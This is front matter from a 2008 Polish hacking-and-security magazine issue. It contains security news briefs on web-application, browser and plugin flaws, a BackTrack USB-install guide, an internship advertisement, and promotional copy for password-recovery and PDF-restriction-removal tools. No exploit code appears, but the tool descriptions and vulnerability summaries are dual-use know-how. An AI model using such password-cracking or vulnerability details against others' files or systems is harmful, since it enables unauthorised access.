SPIS TREŚCI
4
HAKIN9 6/2008
SPIS TREŚCI
5
HAKIN9
6/2008
5
HAKIN9
6/2008
5
HAKIN9
6/2008
5
HAKIN9
6/2008
jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor wydawniczy: Sylwia Pogroszewska
Redaktor naczelny: Katarzyna Juszczyńska
katarzyna.juszczynska@software.com.pl
Redaktor prowadzący: Robert Gontarski
robert.gontarski@software.com.pl
Kierownik produkcji: Marta Kurpiewska
marta.kurpiewska@software.com.pl
DTP Manager: Robert Zadrożny
DTP: Przemysław Banasiewicz
Okładka: Agnieszka Marchocka
Dział reklamy: adv@software.com.pl
Prenumerata: Marzena Dmowska
pren@software.com.pl
Wyróżnieni betatesterzy:
Rafał Lysik, Marcin Kulawinek
Opracowanie CD: Rafał Kwaśny
Druk: 101 Studio, Firma Tęgi
Nakład wersji polskiej 6 000 egz.
Adres korespondencyjny:
Software–Wydawnictwo Sp. z o.o.
ul. Bokserska 1, 02-682 Warszawa, Polska
Tel. +48 22 427 36 77, Fax +48 22 244 24 59
www.hakin9.org
Osoby zainteresowane współpracą prosimy o kontakt:
cooperation@software.com.pl
Redakcja dokłada wszelkich starań, by publikowane w piśmie
i na towarzyszących mu nośnikach informacje i programy
były poprawne, jednakże nie bierze odpowiedzialności za
efekty wykorzystania ich; nie gwarantuje także poprawnego
działania programów shareware, freeware i public domain.
Uszkodzone podczas wysyłki płyty wymienia redakcja.
Wszystkie znaki firmowe zawarte w piśmie są własnością
odpowiednich firm i zostały użyte wyłącznie w celach
informacyjnych.
Do tworzenia wykresów i diagramów wykorzystano
program
firmy
Płytę CD dołączoną do magazynu przetestowano
programem AntiVirenKit firmy G DATA Software Sp. z o.o.
Redakcja używa systemu
automatycznego składu
UWAGA!
Sprzedaż aktualnych lub archiwalnych numerów pisma
w cenie innej niż wydrukowana na okładce – bez zgody
wydawcy – jest działaniem na jego szkodę i skutkuje
odpowiedzialnością sądową.
hakin9 ukazuje się w następujących krajach:
Hiszpanii, Argentynie, Portugalii, Francji, Belgii,
Luksemburgu, Kanadzie, Maroko, Niemczech,
Austrii, Szwajcarii, Polsce, Czechach, Słowacji.
Prowadzimy również sprzedaż kioskową
w innych krajach europejskich.
Magazyn hakin9 wydawany jest
w 7 wersjach językowych:
PL
ES
CZ
EN
IT
FR
DE
UWAGA!
Techniki prezentowane w artykułach mogą być
używane jedynie we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za
niewłaściwe użycie prezentowanych technik
ani spowodowaną tym utratę danych.
NARZĘDZIA
Norton System Works – Standard Edition
Recenzja programu ESET Smart Security. W dzisiejszych czasach
POCZĄTKI
ATAK
SPIS TREŚCI
4
HAKIN9 6/2008
SPIS TREŚCI
5
HAKIN9
6/2008
5
HAKIN9
6/2008
5
HAKIN9
6/2008
5
HAKIN9
6/2008
było nazwać spamem, powinna spełniać kilka warunków: brak możliwości
OBRONA
50 Analiza wydajności systemu SNORT
58 Continuous Data Protection – najlepsza ochrona
64 MEncoder – vademecum ripowania
EDDIE SCHWARTZ, PRZEMYSŁAW KREJZA
STAŁE
RUBRYKI
6 W skrócie
Przedstawiamy garść najciekawszych
wiadomości ze świata bezpieczeństwa
systemów informatycznych i nie tylko.
10 Zawartość CD
Prezentujemy zawartość i sposób
działania najnowszej wersji naszej
sztandarowej dystrybucji hakin9.live.
74 Wywiad
Wywiad z Panią Elżbietą Stojek,
specjalistką ds. bezpieczeństwa w
firmie Microsoft.
78 Felieton
Aktywny terror hackingu
Patryk Krawaczyński
Aktywiści podczas swoich wystąpień
wycierają buty na chodnikach przed
siedzibami wielu organizacji rządowych,
zarzucając je różnymi hasłami
politycznymi, podczas gdy inni wycierają
opuszki palców na klawiaturach,
zarzucając serwer zapytaniami w celu
jego całkowitego obciążenia.
82 Zapowiedzi
Zapowiedzi artykułów, które znajdą
się w następnym wydaniu magazynu
hakin9
6
W SKRÓCIE
HAKIN9 6/2008
7
MATEUSZ STĘPIEŃ
HAKIN9
6/2008
FREEBSD 7.0
Wydano pierwszą stabilną wersję 7.0
systemu operacyjnego FreeBSD. Wersja
7.0 wprowadza w stosunku do poprzednich
wydań sporo nowych funkcji i usprawnień
m.in: eksperymentalne wsparcie dla systemu
plików ZFS Suna, usprawnienie schedulera
ULE, poprawki dla systemu plików Unionfs.
FreeBSD 7.0 dostępny jest obecnie na pięć
architektur: amd64, i386, ia64, pc98, PowerPC.
KOLEJNE BŁĘDY
W STRONACH RZĄDOWYCH
Jeden z konsultantów do spraw
bezpieczeństwa, który współpracuje z
portalem HACK.pl – Iwo Graj, znalazł błędy w
czterech stronach rządowych z województwa
świętokrzyskiego. Są to miedzy innymi:
Wojewódzki Fundusz Ochrony Środowiska
i Gospodarki Wodnej, Wojewódzki Urząd
Ochrony Zabytków, Wojewódzki Inspektorat
Ochrony Środowiska, Zakład Obsługi
Informatyki Świętokrzyskiego Urzędu
Wojewódzkiego w Kielcach. Ekspertyza
przyniosła dość interesujące rezultaty. Iwo
Graj znalazł błędy, które umożliwiają uzyskanie
informacji o całej strukturze bazy danych, jak i
też uzyskanie informacji na temat użytkowników
i ich haseł. ...Po pierwsze,wszystkie z
czterech stron posiadają błąd w jednej ze
zmiennych która nie posiada filtrowania
znaków specjalnych jak : ',() . co umożliwiają
kontynuowanie zapytania do bazy danych. W
obecnym czasie są to najbardziej popularne
błędy jakie można spotkać w Systemach
Zarządzania Treścią stron WWW. Często
podczas analizy, lub audytu aplikacji spotykam
się z takimi błędami... – dodaje Iwo Graj
UBUNTU 8.04 ALPHA 6
Wielkimi krokami zbliża się oficjalna premiera
Ubuntu 8.04 Hardy Heron. Tymczasem
developerzy systemu wydali nową wersję
rozwojową Alpha 6 przeznaczoną do
szerszego testowania w celu wyłapania
najdrobniejszych błędów. Wśród nowości
między innymi: X.Org 7.3 z nowym
narzędziem do zmiany rozdzielczości,
Brasero – program do nagrywania CD/DVD,
Transmission – klient BitTorrent, dystrybucja
posiada jądro w wersji 2.6.24-11.17, które
bazuje na 2.6.24.3. Ubuntu to kompletna
dystrybucja systemu operacyjnego GNU/
Linux bazująca na dystrybucji Debian.
Projekt sponsorowany jest przez firmę Marka
Shuttlewortha Canonical Ltd. Pierwsze
wydanie Ubuntu ukazało się 20 października
2004 roku jako tymczasowa odmiana
dystrybucji Debian GNU/Linux.
LUKA
BEZPIECZEŃSTWA W REAL PLAYER
Specjalista ds. bezpieczeństwa IT – Elazar
Broad wykrył poważną lukę w kontrolce
ActiveX w popularnym odtwarzaczu plików
multimedialnych Real Player, która pozwala
na doprowadzenie do awarii przeglądarki,
a nawet do wstrzyknięcia i wykonania
szkodliwego kodu na komputerze ofiary.
Do ataku dochodzi, gdy użytkownik
odwiedzi specjalnie spreparowaną stronę
internetową przy użyciu przeglądarki
Internet Explorer. Błąd wykryty został w
komponencie rmoc3260.dll modułu ActiveX
i umożliwia napastnikowi nadpisanie
bloków danych na stercie po ich uwolnieniu
oraz na modyfikowanie niektórych
rejestrów. Na chwilę obecną firma Real,
producent RealPlayera nie udostępniła
jeszcze łaty. Elazar Broad zaleca jednak,
by użytkownicy RealPlayera ustawili
killbit dla następujacych identyfikatorów
klas {2F542A2E-EDC9-4BF7-8CB1-
87C9919F7F93} i {CFCDAA03-8BE4-
11CF-B84B-0020AFBBCCFA}. Dokładna
informacje dotyczącą ustawiania killbitu
można znaleźć na stronach Microsoft'u w
artykule KB240797.
IMAGINE CUP
2007 AKCELERATOR INNOWACJI:
POLACY ZWYCIĘZCAMI!
Microsoft poinformował, że drużyna InPUT,
finaliści Microsoft Imagine Cup 2007 w
kategorii Projektowanie Oprogramowania,
zwyciężyli w trzeciej edycji programu
Imagine Cup Innovation Accelerator w
Mountain View w Kalifornii. Program jest
prowadzony w formie warsztatów, szkoleń
i laboratoriów i ma na celu szkolenie
młodych talentów technologicznych w
zakresie umiejętności biznesowych, które
pozwolą im przekształcić swoje projekty
konkursowe w prawdziwe rynkowe produkty.
Szkolenia, w których wzięliśmy udział
były zarówno techniczne, jak i biznesowe.
Pod okiem ekspertów rozwijaliśmy swoje
projekty, przygotowując profesjonalne
biznes plany oraz ćwicząc profesjonalne
prezentacje. Co 2 dni prezentowaliśmy
nasze projekty przed sędziami. W
pierwszym tygodniu prezentacje trwały
7 minut, w drugim tygodniu – 10 minut.
Podczas finałów Imagine Cup w Polsce
i w Korei mieliśmy na zaprezentowanie
swojego rozwiązania 20 minut, dlatego
zmiana na 7-minutowy pokaz była dla
nas nie lada wyzwaniem. Szkolenia i
warsztaty odbywały się w bardzo przyjaznej
atmosferze, mimo to rywalizacja była
zacięta. Wszystkie drużyny dawały z
siebie to, co najlepsze. Wygrana z tak
silną konkurencją jest dla nas ogromną
przyjemnością. Ciężko pracowaliśmy
na ten sukces – powiedział Szymon
Wybrański, kapitan drużyny InPUT. Każda
z drużyn otrzymała na starcie 500 tyś.
6
W SKRÓCIE
HAKIN9 6/2008
7
MATEUSZ STĘPIEŃ
HAKIN9
6/2008
wirtualnych dolarów, a następnie zarabiała
kolejne za poszczególne prezentacje.
Polacy zwyciężyli z dużą przewagą. Wyniki
tegorocznej edycji programu Imagine Cup
– Akcelerator Innowacji są następujące:
1.Polska – 1,721,540 wirtualnych dolarów,
2.Irlandia – 1,279,000 wirtualnych dolarów,
3.Tajlandia – 1,160,220 wirtualnych dolarów,
4. Jamajka – 1,073,000 wirtualnych
dolarów, 5. Meksyk – 1,000,150 wirtualnych
dolarów, 6. Korea – 922,000 wirtualnych
dolarów.
PRZESTĘPSTWO W INTERNECIE
NIE JEST ANONIMOWE
Policjanci z sekcji do walki z
przestępczością gospodarczą zatrzymali
parę młodych ludzi, którzy w ramach
zemsty na byłej dziewczynie włamali
się do jej konta e-mail, komunikatorów.
Sprawcy zmienili hasła, a z konta rozsyłali
obraźliwe e-maile. Rafał B. lat 22 i Sylwia
D. lat 21 usłyszeli zarzuty utrudniania,
zniszczenia i zmiany dostępu do danych
teleinformatycznych. Grozi im do 3 lat
pozbawienia wolności.
G DATA SOFTWARE OSTRZEGA
PRZED WIDEO-SPAMEM
Eksperci z firmy G DATA Software ostrzegają
internautów korzystających z portali z plikami
wideo przed instalowaniem wtyczek do
przeglądarek z nieznanych źródeł, ponieważ
bardzo często są to szkodliwe programy.
Cyberprzestępcy wciąż szukają nowych
trików, aby zachęcić nieświadome zagrożeń
ofiary do zainstalowania szkodliwego
oprogramowania na swoim komputerze.
Aby móc oglądać filmy umieszczane w
serwisach internetowych, Internauci zmuszeni
są do zainstalowania szeregu wtyczek, w
tym programów do obsługi języka Java. Gdy
przeglądarka nie posiada wymaganych
aplikacji, bądź są one zablokowane,
pojawia się komunikat o konieczności
zainstalowania obsługi Javy, podane są
również linki, pod którymi można znaleźć
odpowiednie plug-iny. Specjaliści z G
DATA Software odkryli, iż ten mechanizm
informowania o konieczności instalacji
wtyczek wykorzystują obecnie przestępny,
umieszczając pod spreparowanymi filmami
linki do plików wykonawczych rzekomo
wymaganych do ich obejrzenia. Wystarczy
zezwolić na instalację fałszywej aplikacji, aby
zainfekować komputer. G DATA Software to
międzynarodowy lider rozwiązań do ochrony
komputera – antywirusów, programów do
szyfrowania i ochrony danych oraz niszczenia
danych poufnych. Portfolio produktów firmy
G DATA Security obejmuje rozwiązania
zabezpieczające dla klientów końcowych,
małych i średnich firm oraz dużych
przedsiębiorstw. Rozwiązania G DATA Security
są obecne na rynkach USA, Japonii, Niemiec,
Anglii, Francji, Włoch, Hiszpanii, Kanady, Polski,
Korei, Holandii, Belgii, Austrii, Szwajcarii, Węgier
oraz w Luksemburgu. Międzynarodowa
centrala firmy mieści się w Bochum
(Niemcy). W Polsce firma ma swoją siedzibę
w Szczecinku, z oddziałem handlowym
zlokalizowanym w Warszawie.
DZIURAWY FLASH
Firma Adobe potwierdziła występowanie
błędów w kilku swoich flagowych programach
– Flash Basic, Flash Professional i Flash
Creative Suite 3 Professional. Dziura pozwala
na przemycenie szkodliwego kodu wewnątrz
odpowiednio spreparowanych plików z
rozszerzeniem .fla Odkrywca luki – Fortinet
oraz Adobe nie zdradziły szczegółów
dotyczących luk. Firma nalega, by użytkownicy
zainstalowali wersję 9.0.16.0 Flash Playera,
koncern przygotował też poprawione edycje
dla systemów Linux i Solaris. Na dzień
dzisiejszy nie jest dostępna łatka. Adobe
prawdopodobnie naprawi błąd przy okazji
publikacji następnej wersji Flash Professional.
NAUCZYCIEL HANDLOWAŁ
NIELEGALNYMI PŁYTAMI
Świętokrzyscy policjanci, znaleźli w
mieszkaniu 40-letniego nauczyciela z
powiatu buskiego około 1300 nielegalnie
skopiowanych płyt CD z programami
komputerowymi, filmami i muzyką.
Agresywny mężczyzna próbował oszukać
funkcjonariuszy jednak jego wysiłek poszedł
na marne – zostaną mu postawione zarzuty
i zostanie doprowadzony przed oblicze
prokuratury. Z pierwszych ustaleń Policji
wynika, że mężczyzna sprzedawał płyty za
pośrednictwem jednego z internetowych
portali aukcyjnych, grozi mu teraz do 5 lat
pozbawienia wolności oraz wysoka kara
grzywny.
KOŃ TROJAŃSKI
KRADNIE... KLIKNIĘCIA
Specjaliści ds. bezpieczeństwa
komputerowego odkryli konia trojańskiego
– Trojan.Trafbush, którego zadaniem
jest klikanie w reklamy kontekstualne na
wybranych stronach. W wyniku szkodliwego
działania trojana z kont reklamodawców
pobierane są pieniądze za kliknięcia, które
nigdy nie miały miejsca. Wygląda to tak,
jakby na reklamę klikała prawdziwa osoba,
a w rzeczywistości nikt nie klika i nikt nie
ogląda witryn reklamodawcy – mówi
Zulfikar Ramzan. To już drugi szkodliwy
kod, pierwszym był Trojan.Farfli, odkryty
w ostatnim czasie, który zajmuje się tzw.
defraudacją kliknięć. Na chwilę obecną
nie wiadomo kto jest odpowiedzialny za
wypuszczenie kodu do Sieci. Podejrzewani
są właściciele stron, na których koń
trojański generuje fałszywe kliknięcia.
MICROSOFT KUPIŁ KOMOKU
Microsoft kupił firmę Komoku, zajmującą
się wykrywaniem i zapobieganiem przed
rootkitami. Technologia Komoku ma być
włączona do produktów Windows, dzięki
czemu korporacja ulepszy swoje narzędzia
antywirusowe o zwalczanie rootkitów. Komoku
jest firmą założoną cztery lata temu przez
rząd USA. Aktualnie Komoku zarządzana jest
przez specjalizującego się od szesnastu lat w
bezpieczeństwie informatycznym Dr. Williama
8
W SKRÓCIE
HAKIN9 6/2008
9
MATEUSZ STĘPIEŃ
HAKIN9
6/2008
Arbaugha oraz byłego pracownika Silicon
Graphics Inc. i Atheros Communications,
Jeffrey’a Chunga. Komoku współpracowało
z firmą Symantec w celu opracowania
mechanizmów usuwania rootkitów oraz
przywracania systemu.
SLAX 6.0.3
Tomas Matejicek wydał kolejną wersje
dystrybucji SLAX 6, zbudowanej w oparciu
o jedną z najstarszych dystrybucji Linuksa
– Slackware. Nowa wersja 6.0.3 zawiera
zaktualizowane komponenty KDE, usunięta
została paczka gnutls, poprawione zostały
błędy związane z uruchomieniem systemy.
SLAX to jedna z dystrybucji Linuksa typu
LiveCD, tworzona jest w całości przez tylko
jedną osobę – Czecha Tomasa Matejiceka.
Głównym założeniem SLAX-a jest
mobilność. Zajmuje on tylko ok. 180 MB, co
sprawia, że z łatwością można go zmieścić
na CD lub Pendrivie.
MOZILLA FIREFOX 2.0.0.13
Mozilla Foundation opublikowała nowe
wydanie przeglądarki Mozilla Firefox 2.0.0.13.
W nowej wersji programiści poprawili
znacznie bezpieczeństwo, eliminując
kilka krytycznych błędów umożliwiających
potencjalnemu napastnikowi przemycenie
do systemu szkodliwego kodu, a także
fałszowanie zawartości stron WWW.
Jak widać, coraz większa popularność
przegladarki przysparza jej programistom
coraz więcej pracy. Na szczęście Mozilla
Corporation szybko reaguje na najbardziej
uciążliwe i niebezpieczne dla użytkowników
usterki. Firefox jest przeglądarką internetową
oparta o silnik Gecko, tworzona jest
przez Fundację Mozilla/Korporację
Mozilla oraz wolontariuszy. Firefox jest
wciąż udoskonalany i staje się coraz
bardziej popularną przeglądarką stron
WWW, skupiającą za sobą wierne grono
użytkowników-fanów.
LUKI W PRZEGLĄDARCE SAFARI 3.1
Argentyński haker Juan Pablo Lopez
Yacubian odkrył dwie luki w najnowszej
edycji przeglądarki Safari, oznaczonej
symbolem 3.1. Argentyńczyk informuje, że
wykryte przez niego błędy w przeglądarce
mogą zostać wykorzystane przez
atakującego do podstawienia fałszywej
zawartości witryny lub do wstrzyknięcia
szkodliwego kodu. Yacubian opracował dwie
przykładowe strony internetowe ilustrujące
istnienie i konsekwencje występowania
błędów w windowsowej wersji przeglądarki
Safari 3.1. Błąd nie występuje w Safari dla
systemu Mac OS X. Apple nie przygotowało
jeszcze poprawek. Na chwilę obecną
Apple nie wydało aktualizacji niwelującej
wspomniane luki w przeglądarce Safari 3.1.
NOWY STARY ROOTKIT
Odkryty niedawno rootkit głównego
sektora rozruchowego wyewoluował i
stał się bardziej niebezpieczny. Nowa
wersja potrafi manipulować sterownikiem
classpnp.sys, przez co używane dotąd
narzędzia antyrootkitowe posługują się
podstawionymi przez rootkita danymi i
mogą nie móc go wykryć.
WŁAMANIE DO SPOŻYWCZEGO
Hakerzy zaatakowali sieć sklepów
spożywczych Hannaford Bros. i ukradli
dane dotyczące 4.2 miliona kart
kredytowych, nie skradziono jednak
żadnych danych adresowych klientów
sieci. Włamanie do sieci odkryto 27 lutego
po tym, jak klienci poinformowali sklep
o niepokojących operacjach na koncie.
Przepraszamy za włamanie do naszego
systemu który, jak wierzymy, jest jednym z
najlepszych na rynku. Ukradziono numery
kart kredytowych i debetowych oraz daty
ich wygaśnięcia. Włamania dokonano z
jednego z naszych komputerów podczas
autoryzacji kart - oświadczył szef firmy
Hannaford Ronald Hodge.
PROGRAM
STAŻOWY ENTER 2008 W ALTKOM
SOFTWARE & CONSULTINGE
Odbywanie praktyk zawodowych
w instytucjach państwowych czy
prywatnych firmach stało się wśród
studentów polskich uczelni powszechne.
Każdy student poważnie myślący o
swojej przyszłej karierze zawodowej ma
praktyki na stałe wpisane do kalendarza
zajęć akademickich. Adresowane do
studentów czasopisma młodzieżowe,
działające przy uczelniach wyższych
biura karier czy odbywające się
cyklicznie imprezy targowe regularnie
dostarczają zainteresowanym informacji
o aktualnych ofertach. Przeglądając je,
można dojść do wniosku, że praktyki są
dostępne właściwie w każdej, mniejszej
8
W SKRÓCIE
HAKIN9 6/2008
9
MATEUSZ STĘPIEŃ
HAKIN9
6/2008
lub większej, firmie, a zainteresowani
mogą przebierać w ofertach, dobierając
je stosownie do własnych potrzeb i
oczekiwań. Czy propozycje stażowe
pracodawców pokrywają się jednak
w pełni z oczekiwaniami studentów i
rzeczywiście są startem do kariery? Czy w
każdej firmie oferującej praktyki zawodowe
zainteresowani mogą liczyć na zatrudnienie
po zakończeniu okresu stażowego? Firmy
zazwyczaj proponują bezpłatne (rzadziej
płatne) praktyki na okres od 1 do 6
miesięcy. Większość ofert stażowych jest
do siebie bardzo podobna – stażysta, po
uzyskaniu odpowiedniego zaświadczenia
o odbyciu praktyki, najczęściej wraca
na uczelnię albo od razu trafia na rynek
pracy i na własną rękę szuka pierwszego
pracodawcy. Tak jest prawie we wszystkich
przypadkach.
Wyjątek stanowi niewątpliwie Program
stażowy Enter, przygotowany przez
Altkom Akademię z myślą o młodych
informatykach. Różni się on od innych
ofert stażowych właściwie pod każdym
względem:
• PRAKTYKA GRUPOWA: Altkom
jednorazowo przyjmuje grupę 24
stażystów – po osiem osób na
każdą z proponowanych ścieżek
zawodowych.
• CZAS TRWANIA: 21 miesięcy, z czego
trzy pierwsze miesiące obejmują
szkolenie specjalistyczne w obrębie
jednej z trzech ścieżek zawodowych.
Organizator oferuje szkolenia w zakresie
programowania Java, programowania
.Net oraz analizy z udziałem najlepszych
wykładowców Altkom Akademii,
doświadczonych zarówno w dydaktyce,
jak i w realizacji komercyjnych projektów
informatycznych. Po zakończeniu
szkolenia uczestnicy rozpoczynają
trwający 18 miesięcy staż w pionie
Altkom Software & Consulting, gdzie
pod okiem najlepszych specjalistów,
na odpowiednio przygotowanych
przykładach trenują to, czego nauczyli
się w trakcie szkolenia. W trakcie stażu
stopniowo wdrażają się w realizację
komercyjnych projektów dla klientów
firmy. Czuwa nad nimi zespół tutorów.
• PRAKTYKA PŁATNA: udział w
Programie stażowym Enter powinien
być, zgodnie z koncepcją organizatora,
startem do kariery zawodowej w
branży informatycznej. Dlatego
stażysta już od pierwszego dnia
otrzymuje wynagrodzenie. Jego
wysokość zmienia się po zakończeniu
szkolenia wraz z rozpoczęciem stażu.
Wynagrodzenie odpowiada zarobkom
początkującego informatyka. Po
zakończeniu programu kandydat, który
zdecyduje się na kontynuację kariery
w strukturze firmy, może liczyć nie tylko
na wysoką pensję, ale i na udział w
systemach premiowych.
• KONTRAKT STAŻOWY: stażysta
w ramach udziału w programie
podpisuje umowę dwukrotnie.
Pierwszy kontrakt otrzymuje na
początku szkolenia, drugi – na
początku stażu. W obu dokumentach
określone są podstawowe prawa i
obowiązki obu stron.
• PAKIET SOCJALNY: w trakcie
3-miesięcznego szkolenia
stażyści spoza Warszawy mają
zagwarantowane darmowe
zakwaterowanie w wygodnym ośrodku
noclegowym Altkom Akademii.
Organizator funduje im też obiady
oraz kartę sieciową na przejazdy
komunikacją miejską. Po zakończeniu
programu stażyści mogą przystąpić
do egzaminów certyfikacyjnych,
których koszt ponosi organizator.
Ponieważ ich status w firmie w trakcie
szkolenia odpowiada statusowi
pracownika, objęci są także prywatną
opieką medyczną.
• SZANSA NA ZATRUDNIENIE: po
zakończeniu programu stażyści mogą
liczyć na dalszą karierę w jednym z
działów lub ośrodków Altkom Akademii.
Kandydaci zainteresowani zdobywaniem
doświadczenia zawodowego w innych
firmach informatycznych, nie chcąc
zarazem rozstawać się z Altkom
Akademią, będą mogli skorzystać
z powstającego właśnie systemu
head-leasingu. Możliwość zatrudnienia
na stałe zależy zarówno od wyników
programu, jak i predyspozycji kandydata
oraz jego motywacji do dalszej pracy.
Organizator programu Enter liczy na
to, że wszyscy uczestnicy programu
odnajdą w Altkom Akademii swoje
miejsce i będą chcieli związać się z
firmą na przyszłość.
Pracując nad koncepcją organizacji
Programu stażowego Enter 2008, zespół
Altkom Software & Consulting uwzględnił
całą gamę problemów, z którymi boryka
się początkujący informatyk, i zestawił je z
własnymi doświadczeniami, zdobywanymi
przez lata rekrutacji specjalistów. Program
Enter 2008 zapewnia idealną równowagę
pomiędzy oczekiwaniami młodego
pracownika a oczekiwaniami pracodawcy.
Sukces zeszłorocznej edycji programu
utwierdził Altkom w przekonaniu, że
organizacja przedsięwzięć, takich Enter,
jest dużo efektywniejszym sposobem na
pozyskanie do firmy cennego pracownika
niż tradycyjna rekrutacja. Prowadząc
nabór do programu, Altkom wybiera
takich kandydatów, którzy odpowiadają
strategii rozwoju firmy, ma wpływ na ich
właściwy rozwój, a także gwarancję, że
zostaną odpowiednio przygotowani do
pracy.
Program Enter odbywa się w edycjach
rocznych (kolejną zaplanowano na jesień
2009), jednak zainteresowani kandydaci
mogą stale przesyłać swoje zgłoszenia
do biura organizatora. Nadsyłane
aplikacje są gromadzone w bazie firmy.
Kandydaci, którzy dobrze zaprezentują
się w trakcie rozmowy kwalifikacyjnej, a
ich wiedza lub doświadczenie zawodowe
szczególnie dobrze rokują, mogą liczyć
na propozycję pracy na stanowisku
specjalisty bez konieczności zaliczania
stażu.
Więcej informacji o Programie stażowym
Enter:
• http://www.altkom.pl/enter
Partner Programu:
• NZS Drogowskazy Kariery
Patroni medialni:
• Hakin9,
• Software Developer’s Journal,
• Linux +,
• www.pracuj.pl,
• www.businessman.pl,
• www.PracaDlaStudenta.pl,
• www.Kariera.IT.pl,
• Radio WAWA,
• Radio VOX FM.
10
NA CD
HAKIN9 6/2008
11
HAKIN9.LIVE
HAKIN9
6/2008
Na dołączonej do pisma płycie znajduje się dystrybucja hakin9.live (h9l) w wersji 4.0.3
on BackTrack2.0, zawierająca przydatne narzędzia, dokumentację, tutoriale i materiały
dodatkowe do artykułów.
ZAWARTOŚĆ CD
Aby zacząć pracę z hakin9.live, wystarczy uruchomić komputer z CD. Po
uruchomieniu systemu możemy zalogować się jako użytkownik hakin9 bez
podawania hasła.
JAK ZACZĄĆ
PROGRAMY
• Advanced PDF Password Recovery
• Advanced Outlook Express Password
Recovery
• Elcomsoft Distributed Password
Recovery
• HDDlife
• Partition Manager
FILMY INSTRUKTAŻOWE
Ósmy odcinek: Session_Poisoning-
zatruwanie sesji PHP
Kolejny odcinek z serii filmów
instruktażowych, przedstawiający
najpopularniejsze metody ataków na
strony internetowe.
BACKTRACK2.0 NA TWOIM
PENDRIVIE
Utwórz partycję na pendrivie:
# fdisk /dev/sda
Uwaga: Jeśli posiadasz dyski SCSI lub
SATA, sprawdź gdzie są umieszczone
–
/dev/sda
może być Twoim dyskiem
systemowym!
Wykasuj wszystkie istniejące partycje
(wciśnij d oraz Enter, później wprowadź
ilość partycji – od 1 do 4). Aby sprawdzić
obecny stan partycji, wprowadź p. Później
zacznij tworzyć nową partycję FAT32
– o wielkości około 800 MB. W tym celu
wciśnij n, zatwierdzając klawiszem Enter.
Zacznij od początku i ustal wielkość
tworzonej partycji lub wciśnij jeszcze
raz Enter, aby użyć całego urządzenia.
Rodzaj partycji musi zostać zmieniony
na FAT32 – wprowadź t i odpowiedz b na
pojawiające się pytanie.
Musimy teraz sprawić, żeby nowa
partycja była bootowalna. Wpisz a, a
następnie wprowadź numer partycji
– 1. Teraz wpisz w w celu zapamiętania
zmian.
Pliki
Na początku utwórz na nowej partycji
system plików:
# mkfs.vfat /dev/sda1
Teraz zdefiniuj punkt montowania
tworzonego systemu plików:
# mount /dev/sda1 /mnt/usb
Skopiuj pliki hakin9 live do przygotowanej
lokalizacji:
# cp -a /mnt/cdrom/* /mnt/usb/
Niektóre struktury plików powinny zostać
usunięte:
# cd /mnt/usb/
# rm boot/vmlinuz
# rm boot/initrd.gz
W /mnt/usb powinien znajdować się
plik syslinux.cfg.
Po tej operacji wykonaj następujące
polecenia:
# umount /dev/usb/
# syslinux /dev/sda1
W przypadku problemów wydaj
polecenie:
# syslinux-nomtools /dev/sda1
Zrestartuj teraz maszynę i w BIOSie
ustaw bootowanie z USB–HDD
Gotowe, utworzyłeś w pełni
funkcjonalny system na swoim pendrivie.
Pamiętaj, że bootowanie z USB jest
obsługiwane jedynie przez nowe płyty
główne. Obecnie cała operacja jest
możliwa tylko z pendrive'ami, które
posiadają sektory o rozmiarze 512
bajtów.
ADVANCED OUTLOOK EXPRESS
PASSWORD RECOVERY
Advanced Outlook Express Password
Recovery (AOEPR) – program do
odtwarzania zapomnianych haseł do
skrzynek pocztowych, news–serwerów
i zapisów Identities w Microsoft Outlook
10
NA CD
HAKIN9 6/2008
11
HAKIN9.LIVE
HAKIN9
6/2008
Express. Hasła odtwarzane są tylko w
przypadku, gdy zostały one w Outlook
Express (była włączona opcja Zachować
hasło). Wszystkie hasła odtwarzane
są natychmiast, przez bezpośrednie
dekodowanie. Program ma prosty intuicyjny
interfejs i współdziała ze wszystkimi
wersjami Outlook Express.
ADVANCED PDF PASSWORD
RECOVERY
Szybkie i sprawne odzyskiwanie
dostępu do chronionych hasłem
plików PDF! Chroniony plik PDF
można również odblokować usuwając
ograniczenia drukowania, edytowania
czy kopiowania! Program Advanced
PDF Password Recovery odzyskuje i
natychmiast usuwa hasła chroniące lub
blokujące dokumenty PDF utworzone w
jakiejkolwiek wersji Adobe Acrobat lub w
innych aplikacjach PDF.
Właściwości i korzyści:
• Obsługa wszystkich wersji Adobe
Acrobat
• Obsługa wszelkich programów
tworzących pliki w formacie PDF
innych dostawców
• Odblokowuje ograniczenia
drukowania, kopiowania i edycji
dokumentów PDF
• Usuwa hasła właściciela i
użytkownika
• Odzyskuje hasła potrzebne do
otwarcia
• Praca z szyfrowaniem 40–bitowym,
128–bit RC4, jak również z
szyfrowaniem AES
• Opatentowana technologia Thunder
Tables™ odzyskuje 40–bitowe hasła
w kilka minut
• Ataki słownikowe i ataki brute–force
(na zasadzie pełnego przeglądu) z
maskami i szablonami użytkownika
• Istnieją trzy wersje w celu
usatysfakcjonowania najbardziej
wymagających i zaawansowanych
klientów
• Opcja usuwania kodu Jscript, pól
formularzy i podpisów cyfrowych
• Tryb wsadowy pozwala na
automatyczne przetwarzanie wielu
plików
• Wysoko zoptymalizowany kod
niskiego poziomu do wielojądrowych
jednostek centralnych
Natychmiastowy dostęp do
plików PDF z ograniczeniami
Usuwanie denerwujących ograniczeń
plików PDF! Advanced PDF Password
Recovery natychmiast odblokowuje
dokumenty PDF z ograniczonymi
funkcjami drukowania, edytowania czy
kopiowania danych do schowka. Jest to
jak na razie najpopularniejszy sposób
chronienia plików PDF. Jeżeli można
otworzyć dokument bez hasła, ale nie
da się go wydrukować, jakość druku jest
niska, nie można skopiować danych do
schowka albo dokonać edycji dokumentu,
po co zwlekać, wystarczy zakupić
Advanced PDF Password Recovery
Standard edition!
Hasła do odczytania
Co zrobić, kiedy nie da się otworzyć
dokumentu PDF nie znając hasła?
W takim przypadku, będą Państwo
potrzebować funkcji odzyskiwania hasła
programu Advanced PDF Password
Recovery w wersji Professional oraz
Enterprise.
Pliki formatu PDF posiadają dwa
typy ochrony: słabe 40–bitowe i silne
128–bitowe szyfrowanie. Advanced
PDF Password Recovery gwarantuje
odzyskiwanie 40–bitowych kluczy, atakując
kod klucza zamiast próbować odgadnąć
hasło. Podczas gdy wersja Professional
odzyskuje dokument PDF chroniony przez
40–bitowy klucz w przeciągu kilku dni,
wersja Enterprise odblokowuje zakodowany
plik PDF zaledwie w kilka minut!
Technologia Thunder Tables™
(zgłoszona do opatentowania)
Unikalna technologia Thunder Tables™
opracowana przez ElcomSoft wykorzystuje
